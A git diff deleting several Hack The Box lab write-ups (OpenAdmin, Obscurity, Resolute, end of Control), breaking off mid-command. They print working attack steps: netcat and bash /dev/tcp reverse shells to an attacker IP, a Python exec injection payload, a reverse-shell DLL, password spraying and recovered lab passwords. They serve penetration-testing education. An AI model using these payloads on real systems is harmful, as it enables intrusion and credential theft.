HKLM\System\CurrentControlSet\Services\SDFRd\Parameters\Wdf -RW HKLM\System\CurrentControlSet\Services\sdstor -RW HKLM\System\CurrentControlSet\Services\sdstor\Parameters -RW HKLM\System\CurrentControlSet\Services\seclogon -RW HKLM\System\CurrentControlSet\Services\seclogon\Parameters -RW HKLM\System\CurrentControlSet\Services\seclogon\Security -RW HKLM\System\CurrentControlSet\Services\SecurityHealthService -RW HKLM\System\CurrentControlSet\Services\SEMgrSvc -RW HKLM\System\CurrentControlSet\Services\SEMgrSvc\Parameters -RW HKLM\System\CurrentControlSet\Services\SEMgrSvc\Security -[...] -``` - -To successfully get RCE as SYSTEM I need to find a service that matches the following criterias: -- I can edit the registry entries with user Hector -- I need to be able to start the service with user Hector -- Is already configured to run as LocalSystem - -I can't edit the service with `sc config`, probably because some permissions have been changed on the machine but I can change the same settings using `reg add`. After looking for a long time, I found the `SecLogon` service which satifies the conditions stated above. - -``` -C:\Users\Hector\Documents>sc query seclogon -sc query seclogon - -SERVICE_NAME: seclogon - TYPE : 20 WIN32_SHARE_PROCESS - STATE : 1 STOPPED - WIN32_EXIT_CODE : 1077 (0x435) - SERVICE_EXIT_CODE : 0 (0x0) - CHECKPOINT : 0x0 - WAIT_HINT : 0x0 -``` - -``` -C:\Users\Hector\Documents>reg query HKLM\System\CurrentControlSet\Services\seclogon - -HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\seclogon - Description REG_SZ @%SystemRoot%\system32\seclogon.dll,-7000 - DisplayName REG_SZ @%SystemRoot%\system32\seclogon.dll,-7001 - ErrorControl REG_DWORD 0x1 - FailureActions REG_BINARY 805101000000000000000000030000001400000001000000C0D4010001000000E09304000000000000000000 - ImagePath REG_EXPAND_SZ %windir%\system32\svchost.exe -k netsvcs -p - ObjectName REG_SZ LocalSystem - RequiredPrivileges REG_MULTI_SZ SeTcbPrivilege\0SeRestorePrivilege\0SeBackupPrivilege\0SeAssignPrimaryTokenPrivilege\0SeIncreaseQuotaPrivilege\0SeImpersonatePrivilege - Start REG_DWORD 0x3 - Type REG_DWORD 0x20 -``` - -I'll change the ImagePath of the service so it runs my netcat as SYSTEM. - -``` -C:\Users\Hector\Documents>reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\seclogon" /t REG_EXPAND_SZ /v ImagePath /d "c:\windows\system32\spool\drivers\color\nc.exe 10.10.14.51 8888 -e cmd.exe" /f - -The operation completed successfully. - -C:\Users\Hector\Documents>sc start seclogon -``` - -![](/assets/images/htb-writeup-control/root.png) diff --git a/_posts/2020-05-02-htb-writeup-openadmin.md b/_posts/2020-05-02-htb-writeup-openadmin.md deleted file mode 100644 index 39a8ae4711..0000000000 --- a/_posts/2020-05-02-htb-writeup-openadmin.md +++ /dev/null @@ -1,247 +0,0 @@ ---- -layout: single -title: OpenAdmin - Hack The Box -excerpt: "OpenAdmin is an easy box that starts with using an exploit for the OpenNetAdmin software to get initial RCE. Then we get credentials from the database config and can re-use them to connect by SSH. We then find another web application with an hardcoded SHA512 hash in the PHP code for the login page. After cracking it we're able to log in and obtain an encrypted SSH key that we have to crack. After getting one more shell, we can run nano as root with sudo and spawn a shell as root." -date: 2020-05-02 -classes: wide -header: - teaser: /assets/images/htb-writeup-openadmin/openadmin_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - opennetadmin - - unintended - - db creds - - gtfobins ---- - -![](/assets/images/htb-writeup-openadmin/openadmin_logo.png) - -OpenAdmin is an easy box that starts with using an exploit for the OpenNetAdmin software to get initial RCE. Then we get credentials from the database config and can re-use them to connect by SSH. We then find another web application with an hardcoded SHA512 hash in the PHP code for the login page. After cracking it we're able to log in and obtain an encrypted SSH key that we have to crack. After getting one more shell, we can run nano as root with sudo and spawn a shell as root. - -## Summary - -- Find the OpenNetAdmin page and use a remote code execution exploit to get access to user www-data -- The DB credentials from the OpenNetAdmin configuration file are re-used for SSH access as user jimmy -- Find another internal website running and get a SHA512 hash from the PHP code -- After cracking the hash, log into the application and find an encrypted SSH private key -- Crack the key and then log in a user joanna and get the first flag -- Look at the sudo commands and find that nano can be run as root, look up gtfobins and spawn /bin/bash from nano - -``` -root@kali:~/htb/openadmin# nmap -p- 10.10.10.171 -Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-04 14:41 EST -Nmap scan report for openadmin.htb (10.10.10.171) -Host is up (0.016s latency). -Not shown: 65533 closed ports -PORT STATE SERVICE -22/tcp open ssh -80/tcp open http - -Nmap done: 1 IP address (1 host up) scanned in 10.22 seconds -``` - -## Web enumeration - -The default Ubuntu page is shown when I check out the webserver's root directory. - -![](/assets/images/htb-writeup-openadmin/web1.png) - -Let's run gobuster to find hidden files and directories: - -``` -# gobuster dir -t 50 -w ~/tools/SecLists/Discovery/Web-Content/big.txt -x php -u http://openadmin.htb -[...] -/artwork (Status: 301) -/music (Status: 301) -/server-status (Status: 403) -/sierra (Status: 301) -``` - -So I found a couple of static web pages for the three directories above: - -![](/assets/images/htb-writeup-openadmin/web2.png) - -![](/assets/images/htb-writeup-openadmin/web3.png) - -![](/assets/images/htb-writeup-openadmin/web4.png) - -## OpenNetAdmin RCE - -The `/music` page's login link goes to `http://openadmin.htb/ona/` which is running OpenNetAdmin, a system for tracking IP network attributes in a database. - -![](/assets/images/htb-writeup-openadmin/ona.png) - -I see it's running `v18.1.1` and a quick search on exploit-db shows I can get RCE by exploiting a bug in the application. - -``` -OpenNetAdmin 18.1.1 - Remote Code Execution | exploits/php/webapps/47691.sh -``` - -After executing the exploit I have RCE as user `www-data`. - -``` -root@kali:~/htb/openadmin# ./exploit.sh http://openadmin.htb/ona/ -$ id -uid=33(www-data) gid=33(www-data) groups=33(www-data) -``` - -## Unintended path to root flag - -While looking around the filesystem I found a hash in `priv.save` which turned out to be the root flag. -``` -$ ls -l /opt -total 12 -drwxr-x--- 7 www-data www-data 4096 Nov 21 18:23 ona --rw-r--r-- 1 root root 0 Nov 22 23:49 priv --rw-r--r-- 1 root root 33 Jan 2 20:54 priv.save --rw-r--r-- 1 root root 33 Jan 2 21:12 priv.save.1 -$ cat /opt/priv.save -2f907ed450b[...] -``` - -## Escalating to user jimmy - -I see there's two additonal users which I don't have access to right now. - -``` -$ ls -l /home -total 8 -drwxr-x--- 5 jimmy jimmy 4096 Nov 22 23:15 jimmy -drwxr-x--- 6 joanna joanna 4096 Nov 28 09:37 joanna - -$ lslogins - UID USER PROC PWD-LOCK PWD-DENY LAST-LOGIN GECOS -[...] - 1000 jimmy 0 Jan02/20:50 jimmy - 1001 joanna 0 Jan02/21:12 ,,, -``` - -The OpenNetAdmin database credentials are shown in the `/database_settings.inc.php` file. - -``` -$ cat /opt/ona/www/local/config/database_settings.inc.php - - array ( - 'databases' => - array ( - 0 => - array ( - 'db_type' => 'mysqli', - 'db_host' => 'localhost', - 'db_login' => 'ona_sys', - 'db_passwd' => 'n1nj4W4rri0R!', - 'db_database' => 'ona_default', - 'db_debug' => false, - ), - ), - 'description' => 'Default data context', - 'context_color' => '#D3DBFF', - ), -); -``` - -The `n1nj4W4rri0R!` password works with user `jimmy` to get an SSH shell: - -``` -root@kali:~/htb/openadmin# ssh jimmy@10.10.10.171 -jimmy@10.10.10.171's password: - -jimmy@openadmin:~$ id -uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal) -``` - -## Escalating to user joanna - -Looking at the Apache2 configuration, I see there's an internal website running on port 52846. - -``` -$ ls -l /etc/apache2/sites-available/* --rw-r--r-- 1 root root 6338 Jul 16 18:14 /etc/apache2/sites-available/default-ssl.conf --rw-r--r-- 1 root root 303 Nov 23 17:13 /etc/apache2/sites-available/internal.conf --rw-r--r-- 1 root root 1329 Nov 22 14:24 /etc/apache2/sites-available/openadmin.conf - -$ cat /etc/apache2/sites-available/internal.conf -Listen 127.0.0.1:52846 - - - ServerName internal.openadmin.htb - DocumentRoot /var/www/internal - - -AssignUserID joanna joanna - - - ErrorLog ${APACHE_LOG_DIR}/error.log - CustomLog ${APACHE_LOG_DIR}/access.log combined - - -``` - -The `index.php` file contains the username and SHA512 hash of the password. - -```php -

    Enter Username and Password

    - -``` - -The user is using a common password so the hash has already been cracked and I can do a search online and find the password: `Revealed` - -![](/assets/images/htb-writeup-openadmin/password.png) - -I'll reconnect my SSH session with port-forwarding so I can access the local site: `ssh jimmy@10.10.10.171 -L 52846:127.0.0.1:52846` - -![](/assets/images/htb-writeup-openadmin/internal1.png) - -![](/assets/images/htb-writeup-openadmin/internal2.png) - -The internal site contains the SSH private key for the joanna user. It's encrypted but I can crack it easily with john the ripper: - -![](/assets/images/htb-writeup-openadmin/cracked.png) - -``` -root@kali:~/htb/openadmin# ssh -i id_rsa joanna@10.10.10.171 -Enter passphrase for key 'id_rsa': -[...] -joanna@openadmin:~$ cat user.txt -c9b2cf07d[...] -``` - -## Root priv esc - -``` -joanna@openadmin:~$ sudo -l -Matching Defaults entries for joanna on openadmin: - env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin - -User joanna may run the following commands on openadmin: - (ALL) NOPASSWD: /bin/nano /opt/priv -``` - -`nano` is running as root, this is our way in. Looking at [GTFObins](https://gtfobins.github.io/gtfobins/nano/), I see an easy way to get a shell as root: - -![](/assets/images/htb-writeup-openadmin/gtfo.png) - -I'll use the first method to gain a root shell. - -![](/assets/images/htb-writeup-openadmin/root.png) \ No newline at end of file diff --git a/_posts/2020-05-09-htb-writeup-obscurity.md b/_posts/2020-05-09-htb-writeup-obscurity.md deleted file mode 100644 index ef736bdf8d..0000000000 --- a/_posts/2020-05-09-htb-writeup-obscurity.md +++ /dev/null @@ -1,301 +0,0 @@ ---- -layout: single -title: Obscurity - Hack The Box -excerpt: "The Obscurity box has a vulnerable Python web application running. After finding the source code from a secret directory we find that the exec call can be command injected to get a shell as www-data. Then we have to solve a simple crypto challenge to retrieve an encryption key that decrypts a file containing the robert user's password. We finally get root by exploiting a race condition in a python script so that we can copy the /etc/shadow file and crack the root password." -date: 2020-05-09 -classes: wide -header: - teaser: /assets/images/htb-writeup-obscurity/obscurity_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - custom webserver - - command injection - - race condition ---- - -![](/assets/images/htb-writeup-obscurity/obscurity_logo.png) - -The Obscurity box has a vulnerable Python web application running. After finding the source code from a secret directory we find that the exec call can be command injected to get a shell as www-data. Then we have to solve a simple crypto challenge to retrieve an encryption key that decrypts a file containing the robert user's password. We finally get root by exploiting a race condition in a python script so that we can copy the /etc/shadow file and crack the root password. - -## Summary - -- Find the secret directory on the webserver that holds the source code for the web application -- Exploit a command injection vulnerability in the application and get a shell as www-data -- Recover the key for some homemade crypto cipher and recover the password for user robert -- Exploit a race condition in yet another python program so I can read the shadow file and crack the root password - -## Recon - -I see there's a custom webserver when I run my nmap scan: `BadHTTPServer` - -``` -root@beholder:~# nmap -sC -sV -p- 10.10.10.168 -Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-30 15:25 EST -Nmap scan report for obscurity.htb (10.10.10.168) -Host is up (0.025s latency). -Not shown: 65531 filtered ports -PORT STATE SERVICE -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA) -| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA) -|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519) -80/tcp closed http -8080/tcp open http-proxy BadHTTPServer -| fingerprint-strings: -| GetRequest, HTTPOptions: -| HTTP/1.1 200 OK -| Date: Sat, 30 Nov 2019 20:29:55 -| Server: BadHTTPServer -| Last-Modified: Sat, 30 Nov 2019 20:29:55 -| Content-Length: 4171 -| Content-Type: text/html -| Connection: Closed -| -[...] -9000/tcp closed cslistener - -Nmap done: 1 IP address (1 host up) scanned in 88.39 seconds -``` - -## Website - -So this company is taking a unique approach based on security by obscurity, what could go wrong? It's pretty clear I'm gonna have to exploit a custom webserver here based on the notes from the webpage. It also says they're working on a new encryption algorithm and a replacement for SSH. I'm sure the folks from Crown Sterling would be interested in this crypto vaporware garbage! - -![](/assets/images/htb-writeup-obscurity/website1.png) - -![](/assets/images/htb-writeup-obscurity/website2.png) - -Looks like these guys haven't discovered email yet and they use their public website to message their developpers instead. I'm now going to be looking for that directory that holds the `SuperSecureServer.py` file next. - -![](/assets/images/htb-writeup-obscurity/website3.png) - -## Fuzzing the webserver to find the source code - -I'm going to fuzz the directories to try to find the location of that file with the python source. - -![](/assets/images/htb-writeup-obscurity/ffuf.png) - -The server source code is located here: `http://10.10.10.168:8080/develop/SuperSecureServer.py` - -## Exploiting the command injection vulnerability in the source code - -A quick source code review shows that an `exec()` call is made here: - -```python - def serveDoc(self, path, docRoot): - path = urllib.parse.unquote(path) - try: - info = "output = 'Document: {}'" # Keep the output for later debug - exec(info.format(path)) # This is how you do string formatting, right? - cwd = os.path.dirname(os.path.realpath(__file__)) - docRoot = os.path.join(cwd, docRoot) - if path == "/": - path = "/index.html" - requested = os.path.join(docRoot, path[1:]) -``` - -The `exec` function is just like an `eval`, it'll execute whatever python code has been passed to it. Here's documentation snippet: - -``` -exec(source, globals=None, locals=None, /) - Execute the given source in the context of globals and locals. - - The source may be a string representing one or more Python statements - or a code object as returned by compile(). - The globals must be a dictionary and locals can be any mapping, - defaulting to the current globals and locals. - If only globals is given, locals defaults to it. -``` - -So what the program does here is take the path in the GET request, formats it and stores the result in the `output` variable. Here's what happen if I test that part of the code manually in the python interactive interpreter. - -``` ->>> exec("output = 'Document: {}'".format("/test")) ->>> output -'Document: /test' -``` - -That `output` variable is not even used in the program and has been placed here just to introduce that command injection vulnerability. What I can do here is store an empty value in the `output` variable but add additional code after the `output` variable assignment. - -I'll test this locally first in my python shell, first I'll validate that I can execute `whoami`: - -``` ->>> exec("output = 'Document: {}'".format("';__import__(\"os\").system(\"whoami\")#'")) -root -``` - -Ok so that works. Next I'll spawn a reverse shell with: - -``` ->>> exec("output = 'Document: {}'".format("';__import__(\"os\").system(\"bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'\")#'")) - -root@beholder:~# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38520 -``` - -Awesome, next destination: getting a shell on the target box. - -I'll use the `';__import__("os").system("bash -c 'bash -i >& /dev/tcp/10.10.14.51/4444 0>&1'")#` payload and URL-encode all the characters so I don't have any problems with my curl command. The exec/eval works and I get a shell. - -![](/assets/images/htb-writeup-obscurity/shell.png) - -## Cracking robert's password - -I have access to robert's home directory but I can't read the flag so I have to get access to his account next. - -![](/assets/images/htb-writeup-obscurity/robert.png) - -The `check.txt` file is the plaintext, and `out.txt` is the ciphertext: - -``` -www-data@obscure:/home/robert$ cat check.txt -Encrypting this file with your key should result in out.txt, make sure your key is correct! - -www-data@obscure:/home/robert$ xxd out.txt -xxd out.txt -00000000: c2a6 c39a c388 c3aa c39a c39e c398 c39b ................ -00000010: c39d c39d c289 c397 c390 c38a c39f c285 ................ -00000020: c39e c38a c39a c389 c292 c3a6 c39f c39d ................ -00000030: c38b c288 c39a c39b c39a c3aa c281 c399 ................ -00000040: c389 c3ab c28f c3a9 c391 c392 c39d c38d ................ -00000050: c390 c285 c3aa c386 c3a1 c399 c39e c3a3 ................ -00000060: c296 c392 c391 c288 c390 c3a1 c399 c2a6 ................ -00000070: c395 c3a6 c398 c29e c28f c3a3 c38a c38e ................ -00000080: c38d c281 c39f c39a c3aa c386 c28e c39d ................ -00000090: c3a1 c3a4 c3a8 c289 c38e c38d c39a c28c ................ -000000a0: c38e c3ab c281 c391 c393 c3a4 c3a1 c39b ................ -000000b0: c38c c397 c289 c281 76 ........v -``` - -What I really want to read is the `passwordreminder.txt` but it's also encrypted: - -``` -www-data@obscure:/home/robert$ xxd passwordreminder.txt -xxd passwordreminder.txt -00000000: c2b4 c391 c388 c38c c389 c3a0 c399 c381 ................ -00000010: c391 c3a9 c2af c2b7 c2bf 6b ..........k -``` - -Here I'll assume that the key used to encrypt `check.txt` is the same as `passwordreminder.txt` otherwise I won't be able to do much. - -The `SuperSecureCrypt.py` program uses addition and modulo to encrypt/decrypt the files: - -```python -[...] -def encrypt(text, key): - keylen = len(key) - keyPos = 0 - encrypted = "" - for x in text: - keyChr = key[keyPos] - newChr = ord(x) - newChr = chr((newChr + ord(keyChr)) % 255) - encrypted += newChr - keyPos += 1 - keyPos = keyPos % keylen - return encrypted - -def decrypt(text, key): - keylen = len(key) - keyPos = 0 - decrypted = "" - for x in text: - keyChr = key[keyPos] - newChr = ord(x) - newChr = chr((newChr - ord(keyChr)) % 255) - decrypted += newChr - keyPos += 1 - keyPos = keyPos % keylen - return decrypted -[...] -``` - -The encryption works a bit like XOR where if you have the plaintext and ciphertext you can recover the key by XORing the two together. To recover the key here, I'll take the out.xt ciphertext text and decrypt it with the plaintext and this'll write the key into my x.txt output file. - -```console -$ python3 ./SuperSecureCrypt.py -d -i out.txt -k 'Encrypting this file with your key should result in out.txt, make sure your key is correct!' -o x.txt -################################ -# BEGINNING # -# SUPER SECURE ENCRYPTOR # -################################ - ############################ - # FILE MODE # - ############################ -Opening file out.txt... -Decrypting... -Writing to x.txt... - -$ cat x.txt -alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich -``` - -I'll use `alexandrovich` as the decryption key for `passwordreminder.txt` to recover the SSH password for user robert: `SecThruObsFTW` - -``` -$ python3 ./SuperSecureCrypt.py -d -i passwordreminder.txt -o x.txt -k 'alexandrovich' -################################ -# BEGINNING # -# SUPER SECURE ENCRYPTOR # -################################ - ############################ - # FILE MODE # - ############################ -Opening file passwordreminder.txt... -Decrypting... -Writing to x.txt... - -$ cat x.txt -SecThruObsFTW -``` - -![](/assets/images/htb-writeup-obscurity/flag1.png) - -## Privesc - -The privesc is pretty obvious, there's a python script running as root and we need to exploit it. As stated on their website, this is their own proprietary SSH program. - -``` -robert@obscure:~$ sudo -l -Matching Defaults entries for robert on obscure: - env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin - -User robert may run the following commands on obscure: - (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py -``` - -In short, there's a race condition in the program where it copies the contents of `/etc/shadow` to a temporary location then deletes the file. The sleep command introduces a delay we can exploit. - -```python -[...] - with open('/etc/shadow', 'r') as f: - data = f.readlines() - data = [(p.split(":") if "$" in p else None) for p in data] - passwords = [] - for x in data: - if not x == None: - passwords.append(x) - - passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) - with open('/tmp/SSH/'+path, 'w') as f: - f.write(passwordFile) - time.sleep(.1) -[...] -``` - -The copied shadow file is stored in `/tmp/SSH/` for a few milliseconds so it's possible to read it by running a bash loop to copy it outside of the `/tmp/SSH` directory before it is deleted: - -![](/assets/images/htb-writeup-obscurity/shadow.png) - -Time to crack that hash! - -![](/assets/images/htb-writeup-obscurity/john.png) - -Password is `mercedes`. We can now `su` root: - -![](/assets/images/htb-writeup-obscurity/flag2.png) \ No newline at end of file diff --git a/_posts/2020-05-30-htb-writeup-resolute.md b/_posts/2020-05-30-htb-writeup-resolute.md deleted file mode 100644 index f17dce52aa..0000000000 --- a/_posts/2020-05-30-htb-writeup-resolute.md +++ /dev/null @@ -1,400 +0,0 @@ ---- -layout: single -title: Resolute - Hack The Box -excerpt: "We start Resolute with enumeration of the domain user accounts using an anonymous bind session to the LDAP server and find an initial password in the description field of one of the account. Password spraying the password against all the discovered accounts give us an initial shell then we pivot to another user after finding creds in a console history file. The priv esc is pretty cool: we're in the DNS admins group so we can reconfigure the DNS service to run an arbitrary DLL as SYSTEM." -date: 2020-05-30 -classes: wide -header: - teaser: /assets/images/htb-writeup-resolute/resolute_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - rid cycling - - password spray - - creds in plaintext - - bloodhound - - dns ---- - -![](/assets/images/htb-writeup-resolute/resolute_logo.png) - -We start Resolute with enumeration of the domain user accounts using an anonymous bind session to the LDAP server and find an initial password in the description field of one of the account. Password spraying the password against all the discovered accounts give us an initial shell then we pivot to another user after finding creds in a console history file. The priv esc is pretty cool: we're in the DNS admins group so we can reconfigure the DNS service to run an arbitrary DLL as SYSTEM. - -## Summary - -- We can enumerate the AD users using LDAP or RID cycling with enum4linux -- There's a default credential in one of the LDAP field for a user -- By password spraying this password across all discovered user accounts, we gain access as user melanie -- The credentials for the ryan user are found in the powershell history file -- User ryan is part of the DNS Admins group and we can replace the DNS service with a dll of our choosing -- By controlling the dll, we have RCE as SYSTEM since the DNS service runs as SYSTEM - -## Tools/Blogs used - -- [windapsearch](https://github.com/ropnop/windapsearch) -- [BloodHound.py](https://github.com/fox-it/BloodHound.py) -- [From DnsAdmins to SYSTEM to Domain Compromise](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise) - -## Fails - -- Tried to create and modify DNS records once I had access to user Ryan, thinking it was a similar priv esc path than another lab on HTB -- Not keeping a "ready-to-go" DLL file handy. I had one on my previous Kali VM but didn't copy it over so I wasted precious time building a new one. - -## Recon - Portscan - -``` -root@beholder:~/htb/resolute# nmap -p- 10.10.10.169 -Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-07 14:03 EST -Nmap scan report for resolute.htb (10.10.10.169) -Host is up (0.025s latency). -Not shown: 65512 closed ports -PORT STATE SERVICE -53/tcp open domain -88/tcp open kerberos-sec -135/tcp open msrpc -139/tcp open netbios-ssn -389/tcp open ldap -445/tcp open microsoft-ds -464/tcp open kpasswd5 -593/tcp open http-rpc-epmap -636/tcp open ldapssl -3268/tcp open globalcatLDAP -3269/tcp open globalcatLDAPssl -5985/tcp open wsman -9389/tcp open adws -47001/tcp open winrm -49664/tcp open unknown -49665/tcp open unknown -49666/tcp open unknown -49667/tcp open unknown -49671/tcp open unknown -49676/tcp open unknown -49677/tcp open unknown -49688/tcp open unknown -49776/tcp open unknown -``` - -## Recon - Enumerating users - -Anonymous bind is allowed on the DC so I can use `windapsearch` to quickly get a list of all users on the system. This tool saves me the trouble of remembering the exact ldapsearch syntax (which I forget every single time). - -``` -root@beholder:~# windapsearch.py --dc-ip 10.10.10.169 -U -[+] No username provided. Will try anonymous bind. -[+] Using Domain Controller at: 10.10.10.169 -[+] Getting defaultNamingContext from Root DSE -[+] Found: DC=megabank,DC=local -[+] Attempting bind -[+] ...success! Binded as: -[+] None - -[+] Enumerating all AD users -[+] Found 25 users: - -cn: Guest - -cn: DefaultAccount - -cn: Ryan Bertrand -userPrincipalName: ryan@megabank.local - -cn: Marko Novak -userPrincipalName: marko@megabank.local - -cn: Sunita Rahman -userPrincipalName: sunita@megabank.local - -cn: Abigail Jeffers -userPrincipalName: abigail@megabank.local - -cn: Marcus Strong -userPrincipalName: marcus@megabank.local - -cn: Sally May -userPrincipalName: sally@megabank.local - -cn: Fred Carr -userPrincipalName: fred@megabank.local - -cn: Angela Perkins -userPrincipalName: angela@megabank.local - -cn: Felicia Carter -userPrincipalName: felicia@megabank.local - -cn: Gustavo Pallieros -userPrincipalName: gustavo@megabank.local - -cn: Ulf Berg -userPrincipalName: ulf@megabank.local - -cn: Stevie Gerrard -userPrincipalName: stevie@megabank.local - -cn: Claire Norman -userPrincipalName: claire@megabank.local - -cn: Paulo Alcobia -userPrincipalName: paulo@megabank.local - -cn: Steve Rider -userPrincipalName: steve@megabank.local - -cn: Annette Nilsson -userPrincipalName: annette@megabank.local - -cn: Annika Larson -userPrincipalName: annika@megabank.local - -cn: Per Olsson -userPrincipalName: per@megabank.local - -cn: Claude Segal -userPrincipalName: claude@megabank.local - -cn: Melanie Purkis -userPrincipalName: melanie@megabank.local - -cn: Zach Armstrong -userPrincipalName: zach@megabank.local - -cn: Simon Faraday -userPrincipalName: simon@megabank.local - -cn: Naoki Yamamoto -userPrincipalName: naoki@megabank.local - -[*] Bye! -``` - -I did another search in the LDAP directory but this time looking at the description because sometimes we can find additonial useful information in there. Here I see that the `marko` user has a note about the password being set to `Welcome123!` - -``` -root@beholder:~# windapsearch.py --dc-ip 10.10.10.169 --attrs sAMAccountName,description -U -[+] No username provided. Will try anonymous bind. -[+] Using Domain Controller at: 10.10.10.169 -[+] Getting defaultNamingContext from Root DSE -[+] Found: DC=megabank,DC=local -[+] Attempting bind -[+] ...success! Binded as: -[+] None - -[+] Enumerating all AD users -[+] Found 25 users: - -[...] -description: Account created. Password set to Welcome123! -sAMAccountName: marko -[...] -``` - -## Password spraying - Access to user Melanie - -The credentials `marko / Welcome123!` don't work with either SMB or WinRM: - -``` -root@beholder:~# evil-winrm -u marko -p Welcome123! -i 10.10.10.169 -Evil-WinRM shell v2.0 -Info: Establishing connection to remote endpoint -Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError - -root@beholder:~# smbmap -u marko -p Welcome123! -H 10.10.10.169 -[+] Finding open SMB ports.... -[!] Authentication error on 10.10.10.169 -``` - -The password could be used by another account on the system so I'll use crackmapexec to try that password across all the accounts. I'll save my list of users to `users.txt` and use it with CME. - -``` -root@beholder:~/htb/resolute# crackmapexec smb 10.10.10.169 -u users.txt -p Welcome123! -SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:MEGABANK) (signing:True) (SMBv1:True) -[...] -SMB 10.10.10.169 445 RESOLUTE [+] MEGABANK\melanie:Welcome123! -``` - -Bingo, we got the password for Melanie's account. - -``` -root@beholder:~/htb/resolute# evil-winrm -u melanie -p Welcome123! -i 10.10.10.169 - -Evil-WinRM shell v2.0 - -Info: Establishing connection to remote endpoint - -*Evil-WinRM* PS C:\Users\melanie\Documents> type ..\desktop\user.txt -0c3be45f[...] -``` - -## Powershell transcripts - Getting access as user ryan - -Looking around the filesystem, I found the Powershell transcripts in the `C:\pstranscripts\20191203` directory. They contain a `net use` command that `ryan` used to mount a remote file share. Unfortunately for him, he specified the credentials in the command so I can see them in plaintext in the transcript file: `ryan / Serv3r4Admin4cc123!` - -``` -*Evil-WinRM* PS C:\pstranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt -********************** -Windows PowerShell transcript start -Start time: 20191203063201 -Username: MEGABANK\ryan -RunAs User: MEGABANK\ryan -[...] -********************** -Command start time: 20191203063515 -********************** -PS>CommandInvocation(Invoke-Expression): "Invoke-Expression" ->> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123! -``` - -After getting access to the `ryan` user account, I found a note in his desktop folder talking about changes automatically being reverted. - -``` -root@beholder:~/htb/resolute# evil-winrm -u ryan -p Serv3r4Admin4cc123! -i 10.10.10.169 -Evil-WinRM shell v2.0 -Info: Establishing connection to remote endpoint - -*Evil-WinRM* PS C:\Users\ryan\Documents> dir ../desktop - Directory: C:\Users\ryan\desktop - -Mode LastWriteTime Length Name ----- ------------- ------ ---- --ar--- 12/3/2019 7:34 AM 155 note.txt - -*Evil-WinRM* PS C:\Users\ryan\Documents> type ../desktop/note.txt -Email to team: - -- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute -``` - -## Privesc using the DNS service - -Our `ryan` user is part of the `Contractors` domain group. - -``` -*Evil-WinRM* PS C:\Users\ryan\Documents> net user ryan -User name ryan -Full Name Ryan Bertrand -[...] -Local Group Memberships -Global Group memberships *Domain Users *Contractors -The command completed successfully. -``` - -I used the python BloodHound ingestor to dump the info in BloodHound and see if I could pick up anything interesting to exploit. - -``` -root@beholder:~/opt/BloodHound.py# ./bloodhound.py -c all -u ryan -p Serv3r4Admin4cc123! --dns-tcp -d megabank.local -dc megabank.local -gc megabank.local -ns 10.10.10.169 -INFO: Found AD domain: megabank.local -INFO: Connecting to LDAP server: megabank.local -INFO: Found 1 domains -INFO: Found 1 domains in the forest -INFO: Found 2 computers -INFO: Connecting to LDAP server: megabank.local -INFO: Found 27 users -INFO: Found 50 groups -INFO: Found 0 trusts -INFO: Starting computer enumeration with 10 workers -INFO: Querying computer: MS02.megabank.local -INFO: Querying computer: Resolute.megabank.local -INFO: Done in 00M 03S -``` - -![](/assets/images/htb-writeup-resolute/bloodhound.png) - -As I suspected, user `ryan` is a member of two additional groups: `Remote Management Users` and `DnsAdmin`. I remember reading about a potential privilege escalation vector for users with `DnsAdmin` group access. - -Spotless has a great [blog post](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise) that covers this priv esc. In a nutshell, we can ask the machine to load an arbitrary DLL file when the service starts so that gives us RCE as SYSTEM. Because we're in the `DnsAdmins` group, we can re-configure the service and we have the required privileges to restart it. - -Here's a quick DLL file that just calls netcat to get a reverse shell. - -```c -#include "stdafx.h" -#include - -BOOL APIENTRY DllMain(HMODULE hModule, - DWORD ul_reason_for_call, - LPVOID lpReserved -) -{ - switch (ul_reason_for_call) - { - case DLL_PROCESS_ATTACH: - system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555"); - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - case DLL_PROCESS_DETACH: - break; - } - return TRUE; -} -``` - -After compiling this, I upload both the DLL and netcat to the machine. - -``` -*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> upload 